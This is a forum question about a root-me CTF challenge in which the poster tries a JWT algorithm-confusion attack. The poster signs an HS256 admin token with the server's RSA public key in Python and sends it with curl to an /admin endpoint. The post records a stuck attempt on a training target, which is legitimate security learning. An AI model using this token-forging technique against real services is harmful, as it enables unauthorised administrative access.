Answer the question
In order to leave comments, you need to log in
CTF JSON Web Token (JWT) - Public key(root-me)?
Good afternoon,
for several days now I have not been able to go through this CTF root-me , the problem occurs precisely at the last stage .. which I already sort of figured out how to go through.
Statement
You find an API with 3 endpoints:
/key (accessible with GET)
/auth (accessible with POST)
/admin (accessible with POST)
There is sure to be important data in the admin section, access it!
curl challenge01.root-me.org/web-serveur/ch60/key
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxDoTVDg3znEGjlTjHb+l
Ev+KuEav5DYdTP+QhQEUl/h2w9BEEBiIz7Sg0BDH2HlacE9dYoIhzBCPSKG6gOqt
FIlhNts2S7vuPJq7RyNgDkNi829ah7V914yTqkpKTaqCHN7psvxjefRnijNxMUoI
0MWBvwZkDRBS6yVCxzLcgrAO5nBZHHd+f5pTE3qIfenEpyGeIElj0g1JkZQlkJz8
13eH+nvJP7wcwciU8CvSKs3BWvw4bSE2BkzvE1bsoi8Z2fha0RkTwvX2ENdF8XvB
KrNhIFTDqmMQGl3qMA8WhJG+aBuNJJDNaOv9VUut9gfUzzEmoHWm5wksArHeOprt
6wIDAQAB
-----END PUBLIC KEY-----
curl -X POST -d "username=admin;" http://challenge01.root-me.org/web-serveur/ch60/auth
import jwt
public = open('key.pem', 'r').read()
print public
print jwt.encode({"username":"admin"}, key=public, algorithm='HS256')
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.haPF1qR7R7syw7yjl2xCO6sXXV2ChDddb9AEsGgNgW4
curl -X POST http://challenge01.root-me.org/web-serveur/ch59/admin -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.haPF1qR7R7syw7yjl2xCO6sXXV2ChDddb9AEsGgNgW4'
{"message": "I was right, you are not able to break my super crypto! I use HS512 so no need to have a strong secret!"}
POST /web-serveur/ch60/admin HTTP/1.1
Host: challenge01.root-me.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Authorization: Bearer твой_подписанный_токен
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Answer the question
In order to leave comments, you need to log in
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question